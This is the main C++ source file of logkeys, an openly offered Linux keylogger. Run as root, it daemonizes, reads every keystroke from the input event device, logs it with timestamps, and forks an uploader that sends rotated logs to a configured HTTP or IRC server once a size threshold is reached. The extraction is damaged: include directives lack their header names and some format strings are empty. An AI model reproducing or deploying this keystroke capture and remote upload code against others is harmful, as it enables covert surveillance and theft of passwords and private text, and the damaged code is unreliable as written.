/* Copyleft (ɔ) 2009 Kernc This program is free software. It comes with absolutely no warranty whatsoever. See COPYING for further information. Project homepage: https://github.com/kernc/logkeys */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // for precise time messureing #ifdef HAVE_CONFIG_H # include // include config produced from ./configure #endif #ifndef PACKAGE_VERSION # define PACKAGE_VERSION "0.1.2" // if PACKAGE_VERSION wasn't defined in #endif // the following path-to-executable macros should be defined in config.h; #ifndef EXE_PS # define EXE_PS "/bin/ps" #endif #ifndef EXE_GREP # define EXE_GREP "/bin/grep" #endif #ifndef EXE_DUMPKEYS # define EXE_DUMPKEYS "/usr/bin/dumpkeys" #endif #define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" ) #define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() ) #define COMMAND_STR_CAPSLOCK_STATE ("{ { xset q 2>/dev/null | grep -q -E 'Caps Lock: +on'; } || { setleds 2>/dev/null | grep -q 'CapsLock on'; }; } && echo on") #define INPUT_EVENT_PATH "/dev/input/" // standard path #define DEFAULT_LOG_FILE "/var/log/logkeys.log" #define PID_FILE "/var/run/logkeys.pid" #include "usage.cc" // usage() function #include "args.cc" // global arguments struct and arguments parsing #include "keytables.cc" // character and function key tables and helper functions #include "upload.cc" // functions concerning remote uploading of log file // these event.value-s aren't defined in ? #define EV_MAKE 1 // when key pressed #define EV_BREAK 0 // when key released #define EV_REPEAT 2 // when key switches to repeating after short delay #define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ namespace logkeys { // executes cmd and returns string ouput std::string execute(const char* cmd) { FILE* pipe = popen(cmd, "r"); if (!pipe) error(EXIT_FAILURE, errno, "Pipe error"); char buffer[128]; std::string result = ""; while (!feof(pipe)) if (fgets(buffer, 128, pipe) != NULL) result += buffer; pclose(pipe); return result; } int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it void signal_handler(int signal) { if (input_fd != -1) close(input_fd); // closing input file will break the infinite while loop } void set_utf8_locale() { // set locale to common UTF-8 for wchars to be recognized correctly if (setlocale(LC_CTYPE, "en_US.UTF-8") == NULL) { // if en_US.UTF-8 isn't available char *locale = setlocale(LC_CTYPE, ""); // try the locale that corresponds to the value of the associated environment variable LC_CTYPE if (!(locale != NULL && (strstr(locale, "UTF-8") != NULL || strstr(locale, "UTF8") != NULL || strstr(locale, "utf-8") != NULL || strstr(locale, "utf8") != NULL))) // if locale has "UTF-8" in its name, it is cool to do nothing error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type, or you need en_US.UTF-8 availabe"); } } void exit_cleanup(int status, void *discard) { // TODO: } void create_PID_file() { // create temp file carrying PID for later retrieval int pid_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644); if (pid_fd != -1) { char pid_str[16] = { 0 }; sprintf(pid_str, "%d", getpid()); if (write(pid_fd, pid_str, strlen(pid_str)) == -1) error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'"); close(pid_fd); } else { if (errno == EEXIST) // This should never happen error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")"); else error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'"); } } void kill_existing_process() { pid_t pid; bool via_file = true; bool via_pipe = true; FILE *temp_file = fopen(PID_FILE, "r"); via_file &= (temp_file != NULL); if (via_file) { // kill process with pid obtained from PID file via_file &= (fscanf(temp_file, "%d", &pid) == 1); fclose(temp_file); } if (!via_file) { // if reading PID from temp_file failed, try ps-grep pipe via_pipe &= (sscanf(execute(COMMAND_STR_GET_PID).c_str(), "%d", &pid) == 1); via_pipe &= (pid != getpid()); } if (via_file || via_pipe) { remove(PID_FILE); kill(pid, SIGINT); exit(EXIT_SUCCESS); // process killed successfully, exit } error(EXIT_FAILURE, 0, "No process killed"); } void set_signal_handling() { // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully struct sigaction act = { { 0 } }; act.sa_handler = signal_handler; sigaction(SIGHUP, &act, NULL); sigaction(SIGINT, &act, NULL); sigaction(SIGTERM, &act, NULL); // prevent child processes from becoming zombies act.sa_handler = SIG_IGN; sigaction(SIGCHLD, &act, NULL); } void determine_system_keymap() { // custom map will be used; erase existing US keymapping memset(char_keys, '\0', sizeof(char_keys)); memset(shift_keys, '\0', sizeof(shift_keys)); memset(altgr_keys, '\0', sizeof(altgr_keys)); // get keymap from dumpkeys // if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx std::stringstream ss, dump(execute(COMMAND_STR_DUMPKEYS)); // see example output after i.e. `loadkeys slovene` std::string line; unsigned int i = 0; // keycode int index; int utf8code; // utf-8 code of keysym answering keycode i while (std::getline(dump, line)) { ss.clear(); ss.str(""); utf8code = 0; // replace any U+#### with 0x#### for easier parsing index = line.find("U+", 0); while (static_cast(index) != std::string::npos) { line[index] = '0'; line[index + 1] = 'x'; index = line.find("U+", index); } if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used) if (!is_char_key(i)) continue; // only map character keys of keyboard assert(line.size() > 0); if (line[0] == 'k') { // if line starts with 'keycode' index = to_char_keys_index(i); ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ") ss >> std::hex >> utf8code; // 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly? if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; char_keys[index] = static_cast(utf8code); // if there is a second keysym column, assume it is a shift column if (ss >> std::hex >> utf8code) { if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; shift_keys[index] = static_cast(utf8code); } // if there is a third keysym column, assume it is an altgr column if (ss >> std::hex >> utf8code) { if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; altgr_keys[index] = static_cast(utf8code); } continue; } // else if line starts with 'shift i' index = to_char_keys_index(--i); ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ") ss >> std::hex >> utf8code; if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS if (line[1] == 's') // if line starts with "shift" shift_keys[index] = static_cast(utf8code); if (line[1] == 'a') // if line starts with "altgr" altgr_keys[index] = static_cast(utf8code); } // while (getline(dump, line)) } void parse_input_keymap() { // custom map will be used; erase existing US keytables memset(char_keys, '\0', sizeof(char_keys)); memset(shift_keys, '\0', sizeof(shift_keys)); memset(altgr_keys, '\0', sizeof(altgr_keys)); stdin = freopen(args.keymap.c_str(), "r", stdin); if (stdin == NULL) error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap.c_str()); unsigned int i = -1; unsigned int line_number = 0; wchar_t func_string[32]; wchar_t line[32]; while (!feof(stdin)) { if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used) if (is_used_key(i)) { ++line_number; if (fgetws(line, sizeof(line), stdin) == NULL) { if (feof(stdin)) break; else error_at_line(EXIT_FAILURE, errno, args.keymap.c_str(), line_number, "fgets() error"); } // line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n") if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()! error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Line too long!"); // terminate line before any \r or \n std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n"); if (last == std::wstring::npos) error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "No characters on line"); line[last + 1] = '\0'; } if (is_char_key(i)) { unsigned int index = to_char_keys_index(i); if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) { error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Too few input characters on line"); } } if (is_func_key(i)) { if (i == KEY_SPACE) continue; // space causes empty string and trouble if (swscanf(line, L"%7ls", &func_string[0]) != 1) error_at_line(EXIT_FAILURE, 0, args.keymap.c_str(), line_number, "Invalid function key string"); // does this ever happen? wcscpy(func_keys[to_func_keys_index(i)], func_string); } } // while (!feof(stdin)) fclose(stdin); if (line_number < N_KEYS_DEFINED) #define QUOTE(x) #x // quotes x so it can be used as (char*) error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap.c_str()); } void export_keymap_to_file() { int keymap_fd = open(args.keymap.c_str(), O_CREAT | O_EXCL | O_WRONLY, 0644); if (keymap_fd == -1) error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap.c_str()); char buffer[32]; int buflen = 0; unsigned int index; for (unsigned int i = 0; i < sizeof(char_or_func); ++i) { buflen = 0; if (is_char_key(i)) { index = to_char_keys_index(i); // only export non-null characters if (char_keys[index] != L'\0' && shift_keys[index] != L'\0' && altgr_keys[index] != L'\0') buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]); else if (char_keys[index] != L'\0' && shift_keys[index] != L'\0') buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]); else if (char_keys[index] != L'\0') buflen = sprintf(buffer, "%lc\n", char_keys[index]); else // if all \0, export nothing on that line (=keymap will not parse) buflen = sprintf(buffer, "\n"); } else if (is_func_key(i)) { buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]); } if (is_used_key(i)) if (write(keymap_fd, buffer, buflen) < buflen) error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap.c_str()); } close(keymap_fd); error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap.c_str()); exit(EXIT_SUCCESS); } void determine_input_device() { // better be safe than sory: while running other programs, switch user to nobody setegid(65534); seteuid(65534); // extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) // The compiler automatically concatenates these adjacent strings to a single string. const char* cmd = EXE_GREP " -E 'Handlers|EV=' /proc/bus/input/devices | " EXE_GREP " -B1 'EV=1[02]001[3Ff]' | " EXE_GREP " -Eo 'event[0-9]+' "; std::stringstream output(execute(cmd)); std::vector results; std::string line; while (std::getline(output, line)) { std::string::size_type i = line.find("event"); if (i != std::string::npos) i += 5; // "event".size() == 5 if (i < line.size()) { int index = atoi(&line.c_str()[i]); if (index != -1) { std::stringstream input_dev_path; input_dev_path << INPUT_EVENT_PATH; input_dev_path << "event"; input_dev_path << index; results.push_back(input_dev_path.str()); } } } if (results.size() == 0) { error(0, 0, "Couldn't determine keyboard device. :/"); error(EXIT_FAILURE, 0, "Please post contents of your /proc/bus/input/devices file as a new bug report. Thanks!"); } args.device = results[0]; // for now, use only the first found device // now we reclaim those root privileges seteuid(0); setegid(0); } void init() { if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?"); // kill existing logkeys process if (args.kill) kill_existing_process(); // if neither start nor export, that must be an error if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); } // if posting remote and post_size not set, set post_size to default [500K bytes] if (args.post_size == 0 && (!args.http_url.empty() || !args.irc_server.empty())) { args.post_size = 500000; } // check for incompatible flags if (!args.keymap.empty() && (!(args.flags & FLAG_EXPORT_KEYMAP) && args.us_keymap)) { // exporting uses args.keymap also error(EXIT_FAILURE, 0, "Incompatible flags '-m' and '-u'. See usage."); } // check for incompatible flags: if posting remote and output is set to stdout if (args.post_size != 0 && (args.logfile == "-")) { error(EXIT_FAILURE, 0, "Incompatible flags [--post-size | --post-http] and --output to stdout"); } set_utf8_locale(); if (args.flags & FLAG_EXPORT_KEYMAP) { if (!args.us_keymap) determine_system_keymap(); export_keymap_to_file(); // = exit(0) } else if (!args.keymap.empty()) // custom keymap in use parse_input_keymap(); else determine_system_keymap(); if (args.device.empty()) { // no device given with -d switch determine_input_device(); } else { // event device supplied as -d argument std::string::size_type i = args.device.find_last_of('/'); args.device = (std::string(INPUT_EVENT_PATH) + args.device.substr(i == std::string::npos ? 0 : i + 1)); } set_signal_handling(); close(STDIN_FILENO); // leave stderr open if (args.logfile != "-") { close(STDOUT_FILENO); } // open input device for reading input_fd = open(args.device.c_str(), O_RDONLY); if (input_fd == -1) { error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device.c_str()); } // if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't! if (args.logfile == DEFAULT_LOG_FILE) { seteuid(getuid()); setegid(getgid()); } } std::string createStamp() { std::chrono::time_point < std::chrono::system_clock > time = std::chrono::system_clock::now(); auto time_ms = std::chrono::duration_cast < std::chrono::milliseconds > (time.time_since_epoch()); std::string out = ""; if(!args.onlyms) { time_t cur_time = std::chrono::system_clock::to_time_t(time); time_ms = std::chrono::duration_cast < std::chrono::milliseconds > (time - std::chrono::system_clock::from_time_t(cur_time)); char timestamp[32]; strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time)); out = std::string(timestamp); } return out + std::to_string(time_ms.count()) + "ms : "; } int printBeginStamp(FILE* out) { std::string timestamp = createStamp(); int size = 0; if (args.flags & FLAG_NO_TIMESTAMPS) size = fputs(("Logging started at " + timestamp + "\n\n").c_str(), out); else size = fputs(("Logging started ...\n\n" + timestamp).c_str(), out); fflush(out); return size > 0 ? size : 0; } int printTimeStamp(FILE* out) { int size = 0; if (!(args.flags & FLAG_NO_TIMESTAMPS)) size = fputs(("\n" + createStamp()).c_str(), out); return size; } int main(int argc, char **argv) { on_exit(exit_cleanup, NULL); args.logfile = (char*) DEFAULT_LOG_FILE; // default log file will be used if none specified process_command_line_arguments(argc, argv); init(); // open log file (if file doesn't exist, create it with safe 0600 permissions) umask(0177); FILE *out = NULL; if (args.logfile == "-") { out = stdout; } else { out = fopen(args.logfile.c_str(), "a"); } if (!out) error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str()); if (access(PID_FILE, F_OK) != -1) // PID file already exists error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")"); if (!(args.flags & FLAG_NO_DAEMON)) { int noclose = 1; // don't close streams (stderr used) if (daemon(0, noclose) == -1) // become daemon error(EXIT_FAILURE, errno, "Failed to become daemon"); } // now we need those privileges back in order to create system-wide PID_FILE seteuid(0); setegid(0); if (!(args.flags & FLAG_NO_DAEMON)) { create_PID_file(); } // now we've got everything we need, finally drop privileges by becoming 'nobody' //setegid(65534); seteuid(65534); // commented-out, I forgot why xD unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see ) struct input_event event; //char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > " bool capslock_in_effect = execute(COMMAND_STR_CAPSLOCK_STATE).size() >= 2; bool shift_in_effect = false; bool altgr_in_effect = false; bool ctrl_in_effect = false; // used for identifying Ctrl+C / Ctrl+D int count_repeats = 0; // count_repeats differs from the actual number of repeated characters! afaik, only the OS knows how these two values are related (by respecting configured repeat speed and delay) struct stat st; stat(args.logfile.c_str(), &st); off_t file_size = st.st_size; // log file is currently file_size bytes "big" int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration /*time_t cur_time; time(&cur_time); strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time)); */ file_size += printBeginStamp(out); // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) while (read(input_fd, &event, sizeof(struct input_event)) > 0) { if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY inc_size = 0; scan_code = event.code; if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error inc_size += fprintf(out, "", scan_code); if (inc_size > 0) file_size += inc_size; continue; } // if remote posting is enabled and size treshold is reached if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) { fclose(out); std::stringstream ss; for (int i = 1;; ++i) { ss.clear(); ss.str(""); ss << args.logfile << "." << i; if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist } if (rename(args.logfile.c_str(), ss.str().c_str()) == -1) // move current log file to indexed error(EXIT_FAILURE, errno, "Error renaming logfile"); out = fopen(args.logfile.c_str(), "a"); // open empty log file with the same name if (!out) error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile.c_str()); file_size = 0; // new log file is now empty // write new timestamp //time(&cur_time); //strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time)); file_size += printBeginStamp(out); if (!args.http_url.empty() || !args.irc_server.empty()) { switch (fork()) { case -1: error(0, errno, "Error while forking remote-posting process"); break; case 0: start_remote_upload(); // child process will upload the .log.i files exit(EXIT_SUCCESS); } } } // on key repeat ; must check before on key press if (event.value == EV_REPEAT) { ++count_repeats; } else if (count_repeats) { if (!(prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL || prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT || prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL)) // if repeated key is modifier, do nothing { if (! ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code))) // if repeated was function key, and if we don't log function keys, then don't log repeat either inc_size += fprintf(out, "<#+%d>", count_repeats); } count_repeats = 0; // reset count for future use } // on key press if (event.value == EV_MAKE) { // on ENTER key or Ctrl+C/Ctrl+D event or precise is enabled append timestamp if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { if (ctrl_in_effect) inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D if (args.flags & FLAG_NO_TIMESTAMPS) inc_size += fprintf(out, "\n"); else inc_size += printTimeStamp(out); if (inc_size > 0) file_size += inc_size; //continue; // but don't log "" } else if (args.precise) { inc_size += printTimeStamp(out); } if (scan_code == KEY_CAPSLOCK) capslock_in_effect = !capslock_in_effect; if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) shift_in_effect = true; if (scan_code == KEY_RIGHTALT) altgr_in_effect = true; if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) ctrl_in_effect = true; // print character or string coresponding to received keycode; only print chars when not \0 if (is_char_key(scan_code)) { wchar_t wch; if (altgr_in_effect) { wch = altgr_keys[to_char_keys_index(scan_code)]; if (wch == L'\0') { if (shift_in_effect) wch = shift_keys[to_char_keys_index(scan_code)]; else wch = char_keys[to_char_keys_index(scan_code)]; } } else if (capslock_in_effect && iswalpha(char_keys[to_char_keys_index(scan_code)])) { // only bother with capslock if alpha if (shift_in_effect) // capslock and shift cancel each other wch = char_keys[to_char_keys_index(scan_code)]; else wch = shift_keys[to_char_keys_index(scan_code)]; if (wch == L'\0') wch = char_keys[to_char_keys_index(scan_code)]; } else if (shift_in_effect) { wch = shift_keys[to_char_keys_index(scan_code)]; if (wch == L'\0') wch = char_keys[to_char_keys_index(scan_code)]; } else // neither altgr nor shift are effective, this is a normal char wch = char_keys[to_char_keys_index(scan_code)]; if (wch != L'\0') //inc_size += fprintf(out, "%lc", wch); // write character to log file inc_size += fputc(wch, out); } else if (is_func_key(scan_code)) { if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]); } else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys } } else inc_size += fprintf(out, "", scan_code); // keycode is neither of character nor function, log error fflush(out); } // if (EV_MAKE) // on key release if (event.value == EV_BREAK) { if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) shift_in_effect = false; if (scan_code == KEY_RIGHTALT) altgr_in_effect = false; if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) ctrl_in_effect = false; } prev_code = scan_code; fflush(out); if (inc_size > 0) file_size += inc_size; } // while (read(input_fd)) // append final timestamp, close files and exit //time(&cur_time); //strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time)); fputs(("\n\nLogging stopped at " + createStamp() + "\n\n").c_str(), out); fclose(out); remove(PID_FILE); exit(EXIT_SUCCESS); } // main() } // namespace logkeys int main(int argc, char** argv) { return logkeys::main(argc, argv); }